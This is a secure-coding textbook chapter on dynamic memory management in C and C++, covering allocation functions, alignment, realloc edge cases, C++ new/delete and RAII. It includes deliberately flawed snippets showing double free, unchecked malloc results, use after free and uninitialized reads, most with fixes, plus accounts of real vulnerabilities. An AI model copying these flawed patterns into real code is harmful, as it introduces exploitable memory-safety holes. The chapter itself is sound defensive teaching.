Chapter 4. Dynamic Memory Management

with Fred Long, Gerhard Muenz, and Martin Sebor¹

1. Fred Long is a senior lecturer in the Department of Computer Science at Aberystwyth University in the United Kingdom. Gerhard Muenz is an instructor and researcher at Siemens AG, Corporate Technology. Martin Sebor is a Technical Leader at Cisco Systems.

By the pricking of my thumbs, Something wicked this way comes. Open, locks, Whoever knocks!

—William Shakespeare, Macbeth, act 4, scene 1

C and C++ programs that operate on a variable number of data elements require the use of dynamic memory to manage this data. The vast majority of non-safety-critical applications use dynamic storage allocation.

Memory management has long been a source of elusive programming defects, security flaws, and vulnerabilities. Programming defects in which memory is freed twice, for example, can lead to exploitable vulnerabilities. Buffer overflows not only are dangerous when they overwrite memory in the stack but also can be exploited when they occur in the heap.

This chapter describes dynamic memory management in C and C++ on Linux and Windows platforms, investigates common dynamic memory management errors, and assesses the corresponding security risks.

Memory in the heap is managed by a dynamic memory allocator, or memory manager. Doug Lea’s malloc and Microsoft’s RtlHeap² are used as examples of memory managers that, when used incorrectly, are vulnerable to attack. These two memory managers were selected because of their widespread adoption. They are by no means the only dynamic memory managers that are vulnerable to heap-based exploits. Although the details of how these memory managers are exploited vary, all of these vulnerabilities result from a small set of undefined behaviors that are introduced into the program because of coding errors.

2. The Rtl in RtlHeap stands for runtime library.

malloc(size_t size) allocates size bytes and returns a pointer to the allocated memory. It returns a pointer aligned to the most strictly aligned object that could be placed in the allocated storage. The allocated memory is not initialized to a known value.

aligned_alloc(size_t alignment, size_t size) allocates size bytes of space for an object whose alignment is specified by alignment. The value of alignment must be a valid alignment supported by the implementation, and the value of size must be an integral multiple of alignment, or the behavior is undefined. The aligned_alloc() function returns either a pointer to the allocated space or a null pointer if the allocation fails.

realloc(void *p, size_t size) changes the size of the memory block pointed to by p to size bytes. The contents will be unchanged up to the minimum of the old and new sizes; newly allocated memory will be uninitialized and consequently will have indeterminate values. If the memory request cannot be made successfully, the old object is left intact and no values are changed. If p is a null pointer, the call is equivalent to malloc(size). If size is equal to 0, the call is equivalent to free(p) except that this idiom for freeing memory should be avoided. Unless p is a null pointer, it must have been returned by an earlier call to malloc(), calloc(), aligned_alloc(), or realloc().

calloc(size_t nmemb, size_t size) allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to 0.

The memory allocation functions return a pointer to the allocated memory, which is suitably aligned for any object type, or a null pointer if the request fails. The order and contiguity of storage allocated by successive calls to the memory allocation functions are unspecified. The lifetime of an allocated object extends from the allocation until the deallocation. Each such allocation returns a pointer to an object disjoint from any other object. The pointer returned points to the start (lowest byte address) of the allocated space. If the space cannot be allocated, a null pointer is returned.

The C Standard also defines one memory deallocation function:

free(void *p) frees the memory space pointed to by p, which must have been returned by a previous call to aligned_alloc(), malloc(), calloc(), or realloc(). Undefined behavior occurs if the referenced memory was not allocated by one of these functions or if free(p) had been called previously. If p is a null pointer, no operation is performed.

Objects allocated by the C memory allocation functions have allocated storage duration. Storage duration is the property of an object that defines the minimum potential lifetime of the storage containing the object. The lifetime of these objects is not restricted to the scope in which it is created, so, for example, if malloc() is called within a function, the allocated memory will still exist after the function returns.

These rules are consequences of the machine’s native addressing modes. Eliminating alignment requirements often slows down memory access by requiring the generation of code to perform field accesses across word boundaries or from odd addresses that are slower to access.

Alignments have an order from weaker to stronger or stricter alignments. Stricter alignments have larger alignment values. An address that satisfies an alignment requirement also satisfies any weaker valid alignment requirement. The types char, signed char, and unsigned char have the weakest alignment requirement. Alignments are represented as values of the type size_t. Every valid alignment value is a nonnegative integral power of 2. Valid alignments include the alignment for fundamental types plus an optional set of additional implementation-defined values.

A fundamental alignment is less than or equal to the greatest alignment supported by the compiler in all contexts. The alignment of the max_align_t type is as great as is supported by a compiler in all contexts. A declaration that specifies alignas(max_align_t) requests an alignment that is suitable for any type on that platform. An extended alignment is greater than the alignment of the max_align_t type. A type having an extended alignment requirement is also called an overaligned type. Every overaligned type is, or contains, a structure or union type with a member to which an extended alignment has been applied. The aligned_alloc() function can be used to allocate memory with stricter-than-normal alignment if supported by the implementation. If a program requests an alignment that is greater than alignof(max_align_t), the program is not portable because support for an overaligned type is optional.

The primary rationale for the introduction of the _Alignas keyword and the aligned_alloc() function in the C Standard is to support single instruction, multiple data (SIMD) computing. In SIMD, multiple processing elements perform the same operation on multiple data simultaneously. Streaming SIMD Extensions (SSE) is an SIMD instruction set extension to the x86 architecture, designed by Intel and introduced in 1999 in its Pentium III series processors. Processors with Intel SSE support have eight 128-bit registers, each of which may contain four single-precision floating-point numbers. Each float array processed by SSE instructions must have 16-byte alignment.

You can dynamically allocate a 16-byte-aligned value using aligned_alloc() as follows:

Click here to view code image

// allocate 16-byte aligned data
float *array = (float *)aligned_alloc(16, ARR_SIZE * sizeof(float));

The aligned_alloc() function will never return an alignment weaker than the greatest alignment supported by the implementation in all contexts, so although the following code appears to be incorrect, it actually works just fine:

Click here to view code image

1  size_t alignment = alignof(char);
2  size_t size = sizeof(int) * alignment;
3  int *p = aligned_alloc(alignment, size);
4  *p = 5;

In this example, alignof(char) < alignof(max_align_t), so the maximum fundamental alignment alignof(max_align_t) is used. For portability, the recommended way to use aligned_alloc() is with an alignment argument whose value is the result of applying the alignof operator to the appropriate type.

One issue with allocating more strictly aligned memory involves reallocation. If you call the realloc() function on a pointer returned from aligned_alloc(), the C Standard does not require that the stricter-than-normal alignment be preserved. This issue is described further by The CERT C Secure Coding Standard [Seacord 2008], “MEM36-C. Check for alignment of memory space before calling realloc() function.”

The alloca() function is not defined in POSIX or C but can be found on a number of BSD systems, GCC, and Linux distributions. The alloca() function is often implemented as an inline function, often consisting of a single instruction to adjust the stack pointer. As a result, alloca() does not return a null error and can make allocations that exceed the bounds of the stack.

Because memory allocated by the standard C memory allocation functions must be freed, programmers often get confused and free the memory returned by alloca(), which must not be freed. Calling free() on a pointer not obtained by calling a memory allocation function is a serious error and undefined behavior. Specifically, the C Standard states that the behavior is undefined if the pointer argument to the free() or realloc() function does not match a pointer earlier returned by a memory management function or if the space has been deallocated by a call to free() or realloc().

Although it has some advantages, the use of alloca() is discouraged. In particular, it should not be used with large or unbounded allocations because using this function will exhaust the memory allocated to the stack.

The C99 standard introduced a better alloca() function in the form of variable-length arrays (VLAs). VLAs are a conditional feature that may not be supported by your implementation. The __STDC_NO_VLA__ macro will be defined as the integer constant 1 if your implementation does not support VLAs.

VLAs are essentially the same as traditional C arrays except that they are declared with a size that is not a constant integer expression. VLAs can be declared only at block scope or function prototype scope and no linkage. A VLA can be declared as follows:

1  int f(size_t size) {
2    char vla[size];
3    /* ... */
4  }

The lifetime of a VLA extends from its declaration until execution of the program leaves the scope of the declaration. Leaving the innermost block containing the declaration or jumping to a point in that block or to an embedded block before the declaration are all examples of leaving the scope of the declaration.

Undefined behavior occurs if the size does not evaluate to a positive value. In addition, if the magnitude of the argument is excessive, the program may behave in an unexpected way, for example, by making allocations that exceed the bounds of the stack. An attacker may be able to leverage this behavior to overwrite critical program data [Griffiths 2006]. The programmer must ensure that size arguments to VLAs, especially those derived from untrusted data, are in a valid range. The size of each instance of a VLA type does not change during its lifetime. See The CERT C Secure Coding Standard [Seacord 2008], “ARR32-C. Ensure size arguments for variable length arrays are in a valid range,” for more information.

A full declarator is a declarator that is not part of another declarator. If there is a declarator specifying a VLA type in the nested sequence of declarators in a full declarator, the type specified by the full declarator is variably modified. For example, in the following declaratory:

int *a[n];       // variable length array of pointers to ints

the full declarator is *a[n]. The inner declarator is a[n], which is variably modified, so the outer one is too. Additionally, any type derived by declarator type derivation from a variably modified type is itself variably modified.

In Example 4.1, the assignment statement on line 8 of the matvec() function assumes that the value of y[i] is initially 0. If this assumption is violated, the function returns an incorrect result. This problem is only one of several coding errors present in this function.

Example 4.1. Reading Uninitialized Memory

Click here to view code image

---

01  /* return y = Ax */
02  int *matvec(int **A, int *x, int n) {
03    int *y = malloc(n * sizeof(int));
04    int i, j;
05
06    for (i = 0; i < n; i++)
07      for (j = 0; j < n; j++)
08        y[i] += A[i][j] * x[j];
09    return y;
10  }

---

Initializing large blocks of memory can degrade performance and is not always necessary. The decision by the C standards committee to not require malloc() to initialize this memory reserves this decision for the programmer. If required, you can initialize memory using memset() or by calling calloc(), which zeros the memory. When calling calloc(), ensure that the arguments, when multiplied, do not wrap. The CERT C Secure Coding Standard [Seacord 2008], “MEM07-C. Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t,” further describes this problem.

Failing to initialize memory when required can also create a confidentiality or privacy risk. An example of this risk is the Sun tarball vulnerability [Graff 2003]. The tar program³ is used to create archival files on UNIX systems. In this case, the tar program on Solaris 2.0 systems inexplicably included fragments of the /etc/passwd file, an example of an information leak that could compromise system security.

3. The UNIX tar (tape archive) command was originally designed to copy blocks of disk storage to magnetic tape. Today, tar is the predominant method of grouping files for transfer between UNIX systems.

The problem in this case was that the tar utility failed to initialize the dynamically allocated memory it was using to read a block of data from the disk. Unfortunately, before allocating this block, the tar utility invoked a system call to look up user information from the /etc/passwd file. This memory chunk was deallocated by free() and then reallocated to the tar utility as the read buffer. The free() function is similar to malloc() in that neither is required to clear memory, and it would be unusual to find an implementation that did so. Sun fixed the Sun tarball vulnerability by replacing the call to malloc() with a call to calloc() in the tar utility. The existing solution is extremely fragile because any changes may result in the sensitive information being reallocated elsewhere in the program and leaked again, resulting in a déjà vul (a vulnerability that has “already been seen”).

In cases like the Sun tarball vulnerability, where sensitive information is used, it is important to clear or overwrite the sensitive information before calling free(), as recommended by MEM03-C of The CERT C Secure Coding Standard [Seacord 2008]: “Clear sensitive information stored in reusable resources.” Clearing or overwriting memory is typically accomplished by calling the C Standard memset() function. Unfortunately, compiler optimizations may silently remove a call to memset() if the memory is not accessed following the write. To avoid this possibility, you can use the memset_s() function defined in Annex K of the C Standard (if available). Unlike memset(), the memset_s() function assumes that the memory being set may be accessed in the future, and consequently the function call cannot be optimized away. See The CERT C Secure Coding Standard [Seacord 2008], “MSC06-C. Be aware of compiler optimization when dealing with sensitive data,” for more information.

Heap exhaustion can result from a number of causes, including

• A memory leak (dynamically allocated memory is not freed after it is no longer needed; see the upcoming section “Memory Leaks”)

• Incorrect implementation of common data structures (for example, hash tables or vectors)

• Overall system memory being exhausted, possibly because of other processes

• Transient conditions brought about by other processes’ use of memory

The CERT C Secure Coding Standard [Seacord 2008], “MEM11-C. Do not assume infinite heap space,” warns against memory exhaustion.

The return values for memory allocation functions indicate the failure or success of the allocation. The aligned_alloc(), calloc(), malloc(), and realloc() functions return null pointers if the requested memory allocation fails.

The application programmer must determine when an error has occurred and handle the error in an appropriate manner. Consequently, The CERT C Secure Coding Standard [Seacord 2008], “MEM32-C. Detect and handle memory allocation errors,” requires that these errors be detected and properly managed.

C memory allocation functions return a null pointer if the requested space cannot be allocated. Example 4.2 shows a function that allocates memory using malloc() and tests the return value.

Example 4.2. Checking Return Codes from malloc()

Click here to view code image

---

01  int *create_int_array(size_t nelements_wanted) {
02    int *i_ptr = (int *)malloc(sizeof(int) * nelements_wanted);
03    if (i_ptr != NULL) {
04      memset(i_ptr, 0, sizeof(int) * nelements_wanted);
05    }
06    else {
07      return NULL;
08    }
09    return i_ptr;
10  }

---

When memory cannot be allocated, it is a good idea to have a consistent recovery plan, even if your solution is to print an error message and exit with a nonzero exit status.

Failure to detect and properly handle memory allocation errors can lead to unpredictable and unintended program behavior. For example, versions of Adobe Flash prior to 9.0.124.0 neglected to check the return value from calloc(), resulting in a vulnerability (VU#159523). Even when calloc() returns a null pointer, Flash writes to an offset from the return value. Dereferencing a null pointer usually results in a program crash, but dereferencing an offset from a null pointer allows an exploit to succeed without crashing the program.

“MEM32-C. Detect and handle memory allocation errors,” in The CERT C Secure Coding Standard [Seacord 2008], contains another example of this problem. Assuming that temp_num, tmp2, and num_of_records are under the control of a malicious user in the following example, the attacker can cause malloc() to fail by providing a large value for num_of_records:

Click here to view code image

1  signal_info * start = malloc(num_of_records * sizeof(signal_info));
2  signal_info * point = (signal_info *)start;
3  point = start + temp_num - 1;
4  memcpy(point->sig_desc, tmp2, strlen(tmp2));
5  /* ... */

When malloc() fails, it returns a null pointer that is assigned to start. The value of temp_num is scaled by the size of signal_info when added to start. The resulting pointer value is stored in point. To exploit this vulnerability, the attacker can supply a value for temp_num that results in point referencing a writable address to which control is eventually transferred. The memory at that address is overwritten by the contents of the string referenced by tmp2, resulting in an arbitrary code execution vulnerability.

This vulnerability can be eliminated by simply testing that the pointer returned by malloc() is not null and handling the allocation error appropriately:

Click here to view code image

01  signal_info *start = malloc(num_of_records * sizeof(signal_info));
02  if (start == NULL) {
03    /* handle allocation error */
04  }
05  else {
06    signal_info *point = (signal_info *)start;
07    point = start + temp_num - 1;
08    memcpy(point->sig_desc, tmp2, strlen(tmp2));
09    /* ... */
10  }

Among the invalid values for dereferencing a pointer by the unary * operator are a null pointer, an address inappropriately aligned for the type of object pointed to, and the address of an object after the end of its lifetime.

Dereferencing a null pointer typically results in a segmentation fault, but this is not always the case. For example, many Cray supercomputers had memory mapped at address 0, so it worked just like any other memory reference. Many embedded systems work the same way.  Other embedded systems have registers mapped at address 0, so overwriting them can have unpredictable consequences. Each implementation is free to choose whatever works best for its environment, including considerations of performance, address space conservation, and anything else that might be relevant to the hardware or the implementation as a whole. In some situations, however, dereferencing a null pointer can lead to the execution of arbitrary code. The CERT C Secure Coding Standard [Seacord 2008], “EXP34-C. Do not dereference null pointers,” further describes the problem of dereferencing a null pointer.

A real-world example of an exploitable null pointer dereference resulted from a vulnerable version of the libpng library as deployed on a popular ARM-based cell phone [Jack 2007]. The libpng library implements its own wrapper to malloc() that returns a null pointer on error or on being passed a 0-byte-length argument.

Click here to view code image

png_charp chunkdata;
chunkdata = (png_charp)png_malloc(png_ptr, length + 1);

The chunkdata pointer is later used as a destination argument in a call to memcpy(). Directly writing to a pointer returned from a memory allocation function is more common, but normally less exploitable, than using a pointer as an operand in pointer arithmetic.

If a length field of –1 is supplied to the code in this example, the addition wraps around to 0, and png_malloc() subsequently returns a null pointer, which is assigned to chunkdata. The subsequent call to memcpy() results in user-defined data overwriting memory starting at address 0. A write from or read to the memory address 0 will generally reference invalid or unused memory. In the case of the ARM and XScale architectures, the address 0 is mapped in memory and serves as the exception vector table.

Again, this vulnerability can be easily eliminated by ensuring that the pointer returned by malloc() or other memory allocation function or wrapper is not a null pointer. The CERT C Secure Coding Standard [Seacord 2008] rule violated in the example is “MEM35-C. Allocate sufficient memory for an object.” The recommendation “MEM04-C. Do not perform zero-length allocations” is also violated.

Click here to view code image

for (p = head; p != NULL; p = p->next)
  free(p);

The correct way to perform this operation is to save the required pointer before freeing:

Click here to view code image

1  for (p = head; p != NULL; p = q) {
2    q = p->next;
3    free(p);
4  }

Reading from freed memory is undefined behavior but almost always succeeds without a memory fault because freed memory is recycled by the memory manager. However, there is no guarantee that the contents of the memory have not been altered. Although the memory is usually not erased by a call to free(), memory managers may use some of the space to manage free or unallocated memory. If the memory chunk has been reallocated, the entire contents may have been replaced. As a result, these errors may go undetected because the contents of memory may be preserved during testing but modified during operation.

Writing to a memory location that has been freed is also unlikely to result in a memory fault but could result in a number of serious problems. If the memory has been reallocated, a programmer may overwrite memory, believing that a memory chunk is dedicated to a particular variable when in reality it is being shared. In this case, the variable contains whatever data was written last. If the memory has not been reallocated, writing to a free chunk may overwrite and corrupt the data structures used by the memory manager. This can be (and has been) used as the basis for an exploit when the data being written is controlled by an attacker, as detailed later in this chapter.

The sample program in Example 4.3 twice frees the memory chunk referenced by x: once on line 3 and again on line 6. This example is typical of a cut-and-paste error whereby a programmer cuts and pastes a block of code and then changes some element of it (often a variable name). In this example, it is easy to imagine that a programmer neglected to change the reference to x on line 6 into a reference to y, inadvertently freeing the memory twice (and leaking memory as well).

Example 4.3. Memory Referenced by x Freed Twice

Click here to view code image

---

1  x = malloc(n * sizeof(int));
2  /* access memory referenced by x */
3  free(x);
4  y = malloc(n * sizeof(int));
5  /* access memory referenced by y */
6  free(x);

---

The error may be less obvious if the elided statements to “access memory referenced by” x and y consist of many lines of code.

Another frequent cause of freeing memory multiple times is in error handling, when a chunk of memory is freed as a result of error processing but then freed again during normal processing.

Memory leaks can be problematic in long-running processes or exploited in a resource-exhaustion attack (a form of a denial-of-service attack). If an attacker can identify an external action that causes memory to be allocated but not freed, memory can eventually be exhausted. Once memory is exhausted, additional allocations fail, and the application is unable to process valid user requests without necessarily crashing. This technique might also be used to probe error-recovery code for double-free vulnerabilities and other security flaws.

Automatic detection of memory leaks can be difficult because it is not always clear if and when the memory might be referenced again. In Example 4.4, the memory leak in the function is obvious because the lifetime of the last pointer that stores the return value of the call has ended without a call to a standard memory deallocation function with that pointer value:

Example 4.4. Automatic Detection of Memory Leaks

Click here to view code image

---

1  int f(void) {
2    char *text_buffer = (char *)malloc(BUFSIZ);
3    if (text_buffer == NULL) {
4        return -1;
5    }
6    return 0;
7  }

---

If the size of the space requested is zero, the behavior is implementation-defined: either a null pointer is returned, or the behavior is as if the size were some nonzero value, except that the returned pointer shall not be used to access an object.

In addition, the amount of storage allocated by a successful call to a memory allocation function when 0 bytes were requested is unspecified. In cases where the memory allocation functions return a non-null pointer, reading from or writing to the allocated memory area results in undefined behavior. Typically, the pointer refers to a zero-length block of memory consisting entirely of control structures. Overwriting these control structures damages the data structures used by the memory. The CERT C Secure Coding Standard [Seacord 2008], “MEM04-C. Do not perform zero-length allocations,” provides additional guidance about zero-length allocations.

The realloc() function is the most problematic memory management function. The realloc() function deallocates the old object and returns a pointer to a new object of the specified size. However, if memory for the new object cannot be allocated, it does not deallocate the old object, and the old object’s value is unchanged. Like malloc(0), the behavior of realloc(p, 0) is implementation defined.

The POSIX Standard [IEEE Std 1003.1-2008] states:

Upon successful completion with a size not equal to 0, realloc() shall return a pointer to the (possibly moved) allocated space. If size is 0, either a null pointer or a unique pointer that can be successfully passed to free() shall be returned.

If there is not enough available memory, realloc() shall return a null pointer [CX Option Start] and set errno to [ENOMEM] [CX Option End].

The text bracketed by [CX Option Start] and [CX Option End] is meant as an extension to the C Standard.

Until recently, the following idiom for using realloc() appeared on the manual pages for many Linux systems:

Click here to view code image

1  char *p2;
2  char *p = malloc(100);
3  ...
4  if ((p2 = realloc(p, nsize)) == NULL) {
5    if (p) free(p);
6    p = NULL;
7    return NULL;
8  }
9  p = p2;

At first glance, this code appears to be correct but, on closer inspection, has some issues. If nsize is equal to 0, what value is returned by realloc(), and what happens to the memory referenced by p? For library implementations where realloc() frees the memory but returns a null pointer, execution of the code in this example results in a double-free vulnerability.

The original intent of the WG14 C Standards Committee was that freeing the allocated space and returning NULL for realloc(p, 0) is nonconforming. However, some implementations do exactly that, and changing the behavior of these implementations is likely to break a great deal of existing code.

On a POSIX system, a safe alternative should be to check the value of errno:

Click here to view code image

1  errno = 0;
2  p2 = realloc(p, size);
3  if (p2 == NULL) {
4      if (errno == ENOMEM) {
5        free(p);
6      }
7      return;
8  }

However, this solution will not work on AIX and glibc, where errno is unchanged.

One obvious solution to this problem is to never allocate 0 bytes:

Click here to view code image

1  char *p2;
2  char *p = malloc(100);
3  ...
4  if ((nsize == 0) || (p2 = realloc(p, nsize)) == NULL) {
5    free(p);
6    p = NULL;
7    return NULL;
8  }
9  p = p2;

Such tests could be encapsulated in a wrapper for each memory function so that, for example, malloc_s(0) would always return a null pointer, realloc_s(p, 0) would always return a null pointer, and p will be unchanged. These wrappers could be used to provide portable behavior across multiple implementations.

Defect report 400, “realloc with size zero problems,” was the first defect opened against C11 and can be found in the record of responses on the WG14 Web site at www.open-std.org/jtc1/sc22/wg14/www/docs/dr_400.htm.

This defect is still open, but the proposed technical corrigendum is to make the following changes:

In Section 7.22.3, “Memory management functions,” paragraph 1, change

If the size of the space requested is zero, the behavior is implementation-defined: either a null pointer is returned, . . .

to

If the size of the space requested is zero, the behavior is implementation-defined: either a null pointer is returned to indicate an error, . . .

This change is to clarify the original intent of the standard.

In Section 7.22.3.5, “The realloc function,” change the final sentence of paragraph 3 from

If memory for the new object cannot be allocated, the old object is not deallocated and its value is unchanged.

to

If size is nonzero and memory for the new object is not allocated, the old object is not deallocated. If size is zero and memory for the new object is not allocated, it is implementation-defined whether the old object is deallocated. If the old object is not deallocated, its value shall be unchanged.

This change makes existing implementations conforming.

In Section 7.22.3.5, change paragraph 4 from

The realloc function returns a pointer to the new object (which may have the same value as a pointer to the old object), or a null pointer if the new object could not be allocated.

to

The realloc function returns a pointer to the new object (which may have the same value as a pointer to the old object), or a null pointer if the new object has not been allocated.

This change, again, makes existing implementations conforming but allows implementations to return a null pointer for reasons other than that the new object could not be allocated.

Add to Section 7.31.12, “General utilities,” a new paragraph (paragraph 2):

Invoking realloc with a size argument equal to zero is an obsolescent feature.

An obsolescent feature is one that may be considered for withdrawal in future revisions of the C Standard. The CERT C Secure Coding Standard [Seacord 2008], “MSC23-C. Avoid the use of obsolescent features,” recommends against using obsolescent features. In particular, memory should be freed via a call to free() and not to realloc(p, 0).

The new expression is the only way to construct an object because it is not possible to explicitly call a constructor. The allocated type of the object has to be a complete object type and cannot, for example, be an abstract class type or an array of an abstract class. For nonarray objects, the new expression returns a pointer to the object created; for arrays, it returns a pointer to the initial element of the array. Objects allocated with the new expression have dynamic storage duration. Storage duration defines the lifetime of the storage containing the object. The lifetime of objects with dynamic storage duration is not restricted to the scope in which the object is created.

Memory allocated with operator new is initialized if provided with initialization parameters (that is, arguments to a class constructor, or legitimate values for primitive integral types). With respect to the use of operator new without an explicit initializer, the C++ Standard, Section 5.3.4 [ISO/IEC 14882: 2011], states:

A new-expression that creates an object of type T initializes that object as follows:

— If the new-initializer is omitted, the object is default-initialized (8.5); if no initialization is performed, the object has indeterminate value.

— Otherwise, the new-initializer is interpreted according to the initialization rules of 8.5 for direct initialization.

Objects of “plain old data” (POD) type [ISO/IEC 14882: 2011] are default-initialized (zeroed) by new only if an empty new-initializer () is present. This includes all built-in types:

Click here to view code image

int* i1 = new int(); // initialized
int* i2 = new int; // uninitialized

A new expression obtains storage for the object by calling an allocation function. If the new expression terminates by throwing an exception, it may release storage by calling a deallocation function. The allocation function for nonarray types is operator new(), and the deallocation function is operator delete(). The allocation function for array types is operator new[](), and the deallocation function is operator delete[](). These functions are implicitly declared in global scope in each translation unit of a program:

Click here to view code image

1  void* operator new(std::size_t);
2  void* operator new[](std::size_t);
3  void operator delete(void*);
4  void operator delete[](void*);

A C++ program can provide alternative definitions of these functions and/or class-specific versions. Any allocation and/or deallocation functions defined in a C++ program, including the default versions in the library, must conform to specific semantics described in the following sections.

Placement new is another form of the new expression that allows an object to be constructed at an arbitrary memory location. Placement new requires that sufficient memory be available at the specified location. Placement new has the following forms:

Click here to view code image

new (place) type
new (place) type (initialization list)

However, because no memory is actually allocated by placement new, the memory should not be deallocated. Instead, the object’s destructor should be invoked directly, as in the following example:

Click here to view code image

1  void *addr = reinterpret_cast<void *>(0x00FE0000);
2  Register *rp = new (addr) Register;
3  /* ... */
4  rp->~Register(); // correct

The allocation function attempts to allocate the requested amount of storage. If it is successful, it returns the address of the start of a block of storage whose length in bytes is at least as large as the requested size. There are no constraints on the contents of the allocated storage on return from the allocation function. The order, contiguity, and initial value of storage allocated by successive calls to an allocation function are unspecified. The pointer returned is suitably aligned so that it can be converted to a pointer of any complete object type with a fundamental alignment requirement and then used to access the object or array in the storage allocated (until the storage is explicitly deallocated by a call to a corresponding deallocation function). Even if the size of the space requested is zero, the request can fail. If the request succeeds, the value returned is a non-null pointer value p0, different from any previously returned value p1, unless that value p1 was subsequently passed to an operator delete() function. The effect of dereferencing a pointer returned as a request for zero size is undefined. The intent is to have operator new() implementable by calling std::malloc() or std::calloc(), so the rules are substantially the same. C++ differs from C in requiring a zero request to return a non-null pointer.

T* p1 = new T; // throws bad_alloc on failure

If new is called with the std::nothrow argument, the allocation function does not throw an exception if the allocation fails. Instead, a null pointer is returned:

T* p2 = new(std::nothrow) T; // returns 0 on failure

Exception handling allows programmers to encapsulate error-handling code for allocation, which generally provides for cleaner, clearer, and more efficient code.

Example 4.5 shows how exception handling is used in C++ to catch memory allocation failures for the throw form of the new operator.

Example 4.5. Exception Handling for the new Operator

Click here to view code image

---

1  int *pn;
2  try {
3    pn = new int;
4  }
5  catch (std::bad_alloc) {
6    // handle failure from new
7  }
8  *pn = 5;
9  /* ... */

---

When an exception is thrown, the runtime mechanism first searches for an appropriate handler in the current scope. If no such handler exists, control is transferred from the current scope to a higher block in the calling chain. This process continues until an appropriate handler is found. If no handler at any level catches the exception, the std::terminate() function is automatically called. By default, terminate() calls the standard C library function abort(), which abruptly exits the program. When abort() is called, no calls to normal program termination functions occur, which means that destructors for global and static objects do not execute.

In C++ it is not necessary to explicitly check each allocation for a failure but instead to handle exceptions thrown in response to failures. Well-written C++ programs have many fewer handlers than invocations of the allocation functions. In contrast, well-written C programs must have as many tests for failures as there are invocations of allocation functions.

A standard idiom for handling allocation and allocation failure in C++ is Resource Acquisition Is Initialization (RAII). RAII is a simple technique that harnesses C++’s notion of object lifetime to control program resources such as memory, file handles, network connections, audit trails, and so forth. To keep track of a resource, create an object and associate the resource’s lifetime with the object’s lifetime. This allows you to use C++’s object-management facilities to manage resources. In its simplest form, an object is created whose constructor acquires a resource and whose destructor frees the resource [Dewhurst 2005].

Example 4.6 defines a simple class intHandle that encapsulates the memory for an object of type int.

Example 4.6. Resource Acquisition Is Initialization

Click here to view code image

---

01  class intHandle {
02  public:
03    explicit intHandle(int *anInt)
04      : i_(anInt) { }  // acquire resource
05    ~intHandle()
06      { delete i_; } // release resource
07    intHandle &operator =(const int i)  {
08      *i_ = i;
09      return *this;
10    };
11    int *get()
12      { return i_; } // access resource
13  private:
14    intHandle(IntHandle&) = delete;
15    void operator=(intHandle&) = delete;
16    int *i_;
17  };
18
19  void f(void) {
20   intHandle ih( new int );
21   ih = 5;
22   /* ... */
23  }

---

Using a standard mechanism like std::unique_ptr accomplishes the same thing but is simpler:

std::unique_ptr<int> ip (new int);
*ip = 5;

The std::bad_array_new_length exception is thrown by the new expression to report invalid array lengths if the

1. Array length is negative

2. Total size of the new array would exceed implementation-defined maximum value

3. Number of initializer clauses in a braced-init-list exceeds the number of elements to initialize

Only the first array dimension may generate this exception; dimensions other than the first are constant expressions and are checked at compile time.

The std::bad_array_new_length exception is derived from std::bad_alloc. Example 4.7 shows the three conditions under which std::bad_array_new_length should be thrown.

Example 4.7. When std::bad_array_new_length Should Be Thrown

Click here to view code image

---

01  #include <iostream>
02  #include <new>
03  #include <climits>
04
05  int main(void) {
06      int negative = -1;
07      int small = 1;
08      int large = INT_MAX;
09      try {
10          new int[negative];           // negative size
11      } catch(const std::bad_array_new_length &e) {
12          std::cout << e.what() << ' ';
13      }
14      try {
15          new int[small]{1, 2, 3};     // too many initializers
16      } catch(const std::bad_array_new_length &e) {
17          std::cout << e.what() << ' ';
18      }
19      try {
20          new int[large][1000000];     // too large
21      } catch(const std::bad_array_new_length &e) {
22          std::cout << e.what() << ' ';
23      }
24  }

---

C++ allows a callback, a new handler, to be set with std::set_new_handler(). The new handler must be of the standard type new_handler:

typedef void (*new_handler)();

An allocation function that fails to allocate storage can invoke the currently installed handler function, if any. If the new handler returns, the allocation function retries the allocation.

One action the handler can do is make more memory available. For example, explicitly freeing data structures or running a garbage collector will free memory and allow the allocation function to succeed on the next iteration. Other actions available to the handler include throwing an exception, going to different handlers, or terminating the program. If none of these actions are taken, an infinite loop between the allocation function and the handler is possible.

A program-supplied allocation function can obtain the address of the currently installed handler function using the std::get_new_handler() function. The following is an example of a function that sets a new handler function, allocates storage, and then restores the original handler function:

Click here to view code image

1  extern void myNewHandler();
2  void someFunc() {
3    std::new_handler origHandler =
4        std::set_new_handler(myNewHandler);
5    // allocate some memory...
6    // restore previous new handler
7    std::set_new_handler(origHandler);
8  }

Each deallocation function returns void, and its first parameter is void *. A deallocation function can have more than one parameter. If a class T has a member deallocation function named operator delete() with exactly one parameter, then that function is a usual (nonplacement) deallocation function. If class T does not declare such an operator delete() function but does declare a member deallocation function operator delete() with exactly two parameters, the second of which has type std::size_t, then this function is a usual deallocation function. The same is true for the operator delete[]() function. The usual deallocation functions have the following signatures:

Click here to view code image

void operator delete(void *);
void operator delete(void *, size_t);

void operator delete[](void *);
void operator delete[](void *, size_t);

For the two-argument form of these functions, the first argument is a pointer to the memory block to deallocate, and the second argument is the number of bytes to deallocate. This form might be used from a base class to delete an object of a derived class.

The value of the first argument supplied to a deallocation function may be a null pointer value; if so, and if the deallocation function is supplied by the standard library, the call has no effect.

If the argument given to a deallocation function in the standard library is a pointer that is not the null pointer value, the deallocation function deallocates the storage referenced by the pointer, rendering invalid all pointers referring to any part of the deallocated storage. The effect of using an invalid pointer value (including passing it to a deallocation function) is undefined. On some implementations, it causes a system-generated runtime fault; on other systems, an exploitable vulnerability.

The Boehm-Demers-Weiser conservative garbage collector can be used as a garbage-collecting replacement for C or C++ memory managers. It allows you to allocate memory as you normally would without explicitly deallocating memory that is no longer useful. The collector automatically recycles the memory associated with unreachable objects (that is, objects that can no longer be otherwise accessed). Alternatively, the garbage collector may be used as a leak detector for C or C++ programs, though that is not its primary goal [Boehm 2004].

A garbage collector must be able to recognize pointers to dynamically allocated objects so that it can determine which objects are reachable and should not be reclaimed and which objects are unreachable and can be reclaimed. Unfortunately, it is possible to disguise pointers in a way that prevents the garbage collector from identifying them as such. When pointers are disguised, the garbage collector cannot recognize them as pointers and may mistakenly identify the referenced objects as unreachable and recycle the memory while it is still in use.

The most common disguise is a data structure that combines two pointers, usually by exclusive-oring them, in a single pointer-size field [Sinha 2005]. While it is technically undefined behavior, a pointer can also be made to point outside the bounds of the object before being restored:

Click here to view code image

1  int* p = new int;
2  p+=10;
3  // ... collector may run here ...
4  p-=10;
5  *p = 10;    // can we be sure that the int is still there?

